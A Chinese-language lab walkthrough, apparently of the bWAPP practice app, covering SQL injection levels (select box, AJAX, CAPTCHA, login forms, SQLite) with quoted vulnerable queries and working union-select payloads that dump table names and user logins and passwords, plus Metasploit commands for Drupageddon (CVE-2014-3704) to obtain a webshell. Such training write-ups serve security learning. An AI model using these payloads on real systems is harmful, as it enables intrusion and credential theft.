十一:sql注入 select
这个页面是一个选择性框
我们通过选择不同的选项发现上面url中的movie也在不同的变法。那再查看源码得知,这是一个数字型的注入点
那我们就可以构造payload在movie后面改变内容,首先进行爆列数payload为 1 order by 8 时显示未知的列
得到该数据库会回显七列,接下来就可以进行爆数据库
进行测试可得知第2列有回显那位payload为1 and 1=2 union select 1,database(),3,4,5,6,7
这样就拿到了数据库,接下来可以爆表,爆字段等操作
十二:sql 注入 AJAX/JSON/jQuery
AJAX 是一种在无需重新加载整个网页的情况下,能够更新部分网页的技术。
一、什么是 AJAX ?
AJAX = Asynchronous JavaScript and XML(AJAX = 异步 JavaScript 和 XML。)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是一种用于创建快速动态网页的技术。
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
传统的网页(不使用 AJAX)如果需要更新内容,必需重载整个网页面。
有很多使用 AJAX 的应用程序案例:新浪微博、Google 地图、开心网等等。
这个页面是动态刷新的,所以没有提交按钮,其他的就跟上面那个search型差不多
例:当写入1 'order by 7# 时,依旧显示没有找到电影,当写到1 'order by 8#时会发现没有页面返回了,这证明爆到了列数为7列,那接下来老生常谈,爆库,表,字段一类的,爆库的代码为1 'and 1=2 union select 1,database(),3,4,5,6,7#
十三:sql注入 CAPTCHA
captcha同上一个一样,只是进入前需要输入验证码,进去后就可以进行测试和注入了
源码为 SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'
十四:SQL 注入 (Login Form/Hero)
查看源码为 $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'"
接着输入order by 进行测试, 当测到1 'order by 5# 时显示未知的列,证明回显有4列
接下来继续爆库输入1 ' and 1=2 union select 1,2,3,database()#
十五:SQL 注入(登录表单/用户)
源码为 $sql = "SELECT * FROM users WHERE login = '" . $login . "'"; if($row["login"] && $password == $row["password"])
先判断用户是否存在,如果存在再判断密码是否正确 注入只能在用户名处 结合数据库解读源码,注入流程为: 在用户名处使用联合查询注入,第三个字段必须是你填入的 密码通过 sha1 哈希之后的值
像这种带有输入框的都是先进行简单测试,通过order by 得到有9列
爆库payload为
' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,user(),6,7,8,9 #
爆表为 ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),6,7,8,9 #
爆字段为
' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),6,7,8,9#
爆字段中的数据为' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat('~',login,'~',password) from users),6,7,8,9 #
十六:SQL Injection (SQLite)
查看源码得知改查询为模糊查询
源码为 $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
那进行简单测试先构造闭合 1%' order by 6 --查询列数,当查到第7列时报错,证明回显6列,--的意思为sqlite中的注释符
接下来进行爆表
123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --
爆字段 123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --
爆数据 123%' union select 1,2,login,password,5,6 from users --
十七:Drupal SQL 注入 Drupageddon
CVE-2014-3704: 翻译一下就是: 由于expandArguments()函数没有正确构造准 备好的语句,这使得远程攻击者能够通过包含精心编制的手 工语句进行SQL注入攻击。影响Drupal版本在7.x~1.32。 Drupal是一款开源内容管理系统(CMS),用户多达100万 以上(包括政府、电子零售、企业组织、金融机构等),除 非已经安装了针对Drupalgeddon 漏洞的安全补丁,否则, 所有用户都会面临该漏洞的严重威胁。 使用 MSF
这个就是个漏洞利用 use exploit/multi/http/drupal_drupageddon
set targeturi http://192.168.150.128/drupal/
set RHOSTS X.X.X.X
set rport XXXX
run
之后就可以根据这个漏洞利用来拿到webshell